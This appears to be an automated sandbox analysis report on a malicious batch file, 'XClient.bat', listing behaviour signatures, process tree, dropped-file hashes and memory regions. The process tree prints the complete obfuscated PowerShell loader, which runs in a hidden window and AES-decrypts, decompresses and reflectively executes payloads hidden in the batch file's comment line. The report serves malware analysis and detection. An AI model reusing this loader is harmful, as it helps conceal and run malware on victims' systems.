Resubmissions

04-09-2024 03:02

240904-djne2svhpa 10

04-09-2024 03:01

240904-djb21svhne 1

04-09-2024 01:09

240904-bhv3dstbjg 10

03-09-2024 23:53

240903-3xrgaszhqm 10

03-09-2024 23:29

240903-3gywfa1fna 10

03-09-2024 23:26

240903-3ev2rs1erg 10

Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03-09-2024 23:29

General

  • Target

    XClient.bat

  • Size

    320KB

  • MD5

    e0d59aedb927f0aad0b47eab247e5fbc

  • SHA1

    8abe8db8e344729b0f78d83e540b17a31893ed92

  • SHA256

    ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c

  • SHA512

    7459cba2a54a2e26e7464f9f4863b1fedb63cfa80ed2261ee69fd9c268c5d6bb54a4d01368d7ed987387016d786fb115f84afe97e192545b1f860b020c805e97

  • SSDEEP

    6144:HQIYl64Q3Gx/E7X3YIzsUW4MN2nwaF0FbD/VdFzqEE/jeT3/:HQIh77X3t6+4VdFzoW/

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Deletes itself 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of FindShellTrayWindow 36 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
    1⤵
    • Deletes itself
    • Suspicious use of WriteProcessMemory
    PID:816
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:2800
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y+qf52DrQiYLUaozbbmw9JavODvF6+9CeZx0/k94u9k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4WB4xmZ2PUqqywaBQpnlmg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vfVzQ=New-Object System.IO.MemoryStream(,$param_var); $AjFMf=New-Object System.IO.MemoryStream; $JrhbC=New-Object System.IO.Compression.GZipStream($vfVzQ, [IO.Compression.CompressionMode]::Decompress); $JrhbC.CopyTo($AjFMf); $JrhbC.Dispose(); $vfVzQ.Dispose(); $AjFMf.Dispose(); $AjFMf.ToArray();}function execute_function($param_var,$param2_var){ $AKLYU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eguYy=$AKLYU.EntryPoint; $eguYy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$FsplU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($NLDPG in $FsplU) { if ($NLDPG.StartsWith(':: ')) { $wgQrx=$NLDPG.Substring(3); break; }}$payloads_var=[string[]]$wgQrx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2764
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\Desktop\SubmitClear.svg
      1⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2652
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2652 CREDAT:275457 /prefetch:2
        2⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:2576
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      1⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:3024
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6c29758,0x7fef6c29768,0x7fef6c29778
        2⤵
          PID:1608
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1176 --field-trial-handle=1196,i,4837302509172537002,3673227327660919981,131072 /prefetch:2
          2⤵
            PID:1040
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1508 --field-trial-handle=1196,i,4837302509172537002,3673227327660919981,131072 /prefetch:8
            2⤵
              PID:2268
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1592 --field-trial-handle=1196,i,4837302509172537002,3673227327660919981,131072 /prefetch:8
              2⤵
                PID:1752
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2292 --field-trial-handle=1196,i,4837302509172537002,3673227327660919981,131072 /prefetch:1
                2⤵
                  PID:2400
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2300 --field-trial-handle=1196,i,4837302509172537002,3673227327660919981,131072 /prefetch:1
                  2⤵
                    PID:560
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1412 --field-trial-handle=1196,i,4837302509172537002,3673227327660919981,131072 /prefetch:2
                    2⤵
                      PID:2560
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1296 --field-trial-handle=1196,i,4837302509172537002,3673227327660919981,131072 /prefetch:1
                      2⤵
                        PID:2956
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3668 --field-trial-handle=1196,i,4837302509172537002,3673227327660919981,131072 /prefetch:8
                        2⤵
                          PID:1492
                      • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                        "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                        1⤵
                          PID:1788

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                          Filesize

                          342B

                          MD5

                          ff283e2fed90f800076c89d53545dd35

                          SHA1

                          c2f97f1f9679d6301a74c9308cd93f29a58f8b0d

                          SHA256

                          2569068e737048690cb5525d0f4a489865a9915f4b05924a85c2311059dba24f

                          SHA512

                          e7bcb4a761d9ef260c61f26763424378f13211160d30bb08e9e33ae79c23fcb322c45d05c68febfdd1b18d75ffdeb79a80695e266602976bf870e0c578897233

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                          Filesize

                          342B

                          MD5

                          e359531fe2e825e0f43b0bed22e54188

                          SHA1

                          9f9ce578b4bb05b3143a8c6d652ae5d35b1ff14a

                          SHA256

                          34d71f565f0611cd1dd393bffcd2f060f98da193cd13a9e3f4fc79bf9ade14f7

                          SHA512

                          5aee45440de8bad2be8f6d69b6fbde4cbfdba4236feac827f9a491e4c77d4b204fe90bd3b124e42c184edfc168e32465da24d3c16bda2993487549df5ae9990b

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                          Filesize

                          342B

                          MD5

                          b18b287a8ea65ab4a0078aeb59c44864

                          SHA1

                          40fe9680d895448524d918afc2e206614b8d4055

                          SHA256

                          52453845b6fb7d157327defd7dfcb17c47c4221e9b56a16a715da5603c1ce79c

                          SHA512

                          d0eefbc6fc078ee4ef47e0ce53ead47d8371702a03e827f5b95881c2b1753fb6799de2449e767461264bee73520cac38b1009504043369cc05aaebbc6cbc2231

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                          Filesize

                          342B

                          MD5

                          0b61416629031d37216a183c3c4760fe

                          SHA1

                          8fe00bfe5df2a48c343ec91020748729c0e68890

                          SHA256

                          cabead9fead456f1d0fefc04d7a563ec28753a7d78267e0702820de1bbd38691

                          SHA512

                          0c23084023366e9bc55f00448fcf24d495f4df818f3787e14594fbba611198c6d72f4f7bbaebaf7e2dbe6d9d1d6e56db6111b7645e36d06b042dbb8b580339a5

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                          Filesize

                          342B

                          MD5

                          7919dfd59dfddefec67e36341d24154e

                          SHA1

                          d0d0438674060303911314a8fdffa5b270635a17

                          SHA256

                          2e7e024647eb5b3be63a20c77a5ca2a5d10314906679c742cd34293df3670430

                          SHA512

                          fb6222d1dd20639c439e095a876754ad678caedcb3217541f701fe9e29b89e5d619f42319eafcb921a74b506b4a101dc32500e2092f7ff3ffd2d259c28f57a79

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                          Filesize

                          342B

                          MD5

                          13517dadd56259e8154bd152dcad3b7e

                          SHA1

                          3dbbfdb519fbf003dcb0bfc5dcb2e3c3c4916fc0

                          SHA256

                          2f6a7c8a385a4a720def503a172f50e89c35d6feb9d70561b1740423e48cbe20

                          SHA512

                          875f1f8d0029b0e3b200608277906bfcbd010e46e7dd1d5d52140a5f92ccd8e01b5820b7b786cc9a5888063bca432c4606f87e24f53436fb70dd18fc8958da81

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                          Filesize

                          342B

                          MD5

                          fb6bea6fea5ce3af7196d4ee81cfd408

                          SHA1

                          930e49719ac926162d1408f5f65461d9122ada25

                          SHA256

                          49267d70a5fef7a65ef0370e23906bb426a214377ca8c578022c36c88258d12c

                          SHA512

                          a0986b78fb3161546f1e9d72e074e119e5f0b52bfc6996ba0df49b08a49eadb001253643c5f3a060269e84ed0a30e08c2f933ef103d79bc206e1a1f6c7201de8

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                          Filesize

                          342B

                          MD5

                          54ab7fecb457a510591cb7b864dfc9a9

                          SHA1

                          adf87cec9d259ff9055aef27662a0dfe2c923040

                          SHA256

                          fb197d5dfc4b912200b2f46432b0bd53989c15b3478eb6ed58ce91e51fdd5186

                          SHA512

                          39235fd42da84db8c9853328094aec00cc7f23b5a893a20f2badba7435a6ec7e34518421d7c5b8eb45567c08619111733effec5fa1d000aa57f10fcac26b5cba

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                          Filesize

                          342B

                          MD5

                          9f033488967f7315f206d482c4460bb4

                          SHA1

                          3e64a4e31b8df51815b7d6cafeea63850386a21e

                          SHA256

                          d22a77c40ff661b67c257ec98ed2725438ff2debbe303e463275d3872cedc533

                          SHA512

                          66e8f2e8693b14a95ed788579d1b503c1fa6d34a88d8efeaec7c3873fbbcd088aea7d572f2a6156cd6d29837efa9e46239f95c09703d3cac4b840099cd59daf6

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\1168f8b8-f336-464a-8182-98fb2569680a.tmp

                          Filesize

                          336KB

                          MD5

                          adaa2714eb95f049e577de29928c967a

                          SHA1

                          a087326a68f238df5ed72837fa37d33e2e722955

                          SHA256

                          f1af4926a1bd5b32be89bdb2e732ae772027ac44d3696e7489a73cf2a059b066

                          SHA512

                          2a04a73e6b21ff421a0d85595de43c33c1170af35df05e3355f528760900c66ee02f259580b1b9d45d097fd20f6ecd5f688e7fcf5ffa394066e85a2b26e0eb08

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

                          Filesize

                          264KB

                          MD5

                          f50f89a0a91564d0b8a211f8921aa7de

                          SHA1

                          112403a17dd69d5b9018b8cede023cb3b54eab7d

                          SHA256

                          b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                          SHA512

                          bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp

                          Filesize

                          16B

                          MD5

                          18e723571b00fb1694a3bad6c78e4054

                          SHA1

                          afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                          SHA256

                          8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                          SHA512

                          43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                          Filesize

                          335KB

                          MD5

                          c48e41b3b7db9142f48966c6c74671a4

                          SHA1

                          8f9ba8b61f8234f4e49fb20ceea4555e0c5142bb

                          SHA256

                          d79310dbe3e1cdd48dee1b87a8be2b90078e229a9bc077fab9b1922f5d2120d4

                          SHA512

                          754c91ec92cbeb3ff66b379fa8c2b1994f7fe6239e79f96c35afe0270572ca5a7e853916e8839bd9b5b78202a946b7e1fb53ac20d736bc5ffb02756de07b3715

                        • C:\Users\Admin\AppData\Local\Temp\Cab2CED.tmp

                          Filesize

                          70KB

                          MD5

                          49aebf8cbd62d92ac215b2923fb1b9f5

                          SHA1

                          1723be06719828dda65ad804298d0431f6aff976

                          SHA256

                          b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

                          SHA512

                          bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

                        • C:\Users\Admin\AppData\Local\Temp\Tar2D5D.tmp

                          Filesize

                          181KB

                          MD5

                          4ea6026cf93ec6338144661bf1202cd1

                          SHA1

                          a1dec9044f750ad887935a01430bf49322fbdcb7

                          SHA256

                          8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

                          SHA512

                          6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

                        • memory/2764-11-0x000007FEF4E60000-0x000007FEF57FD000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/2764-7-0x000007FEF4E60000-0x000007FEF57FD000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/2764-6-0x0000000002070000-0x0000000002078000-memory.dmp

                          Filesize

                          32KB

                        • memory/2764-5-0x000000001B730000-0x000000001BA12000-memory.dmp

                          Filesize

                          2.9MB

                        • memory/2764-8-0x000007FEF4E60000-0x000007FEF57FD000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/2764-10-0x000007FEF4E60000-0x000007FEF57FD000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/2764-9-0x000007FEF4E60000-0x000007FEF57FD000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/2764-4-0x000007FEF511E000-0x000007FEF511F000-memory.dmp

                          Filesize

                          4KB

                        • memory/2764-12-0x000007FEF4E60000-0x000007FEF57FD000-memory.dmp

                          Filesize

                          9.6MB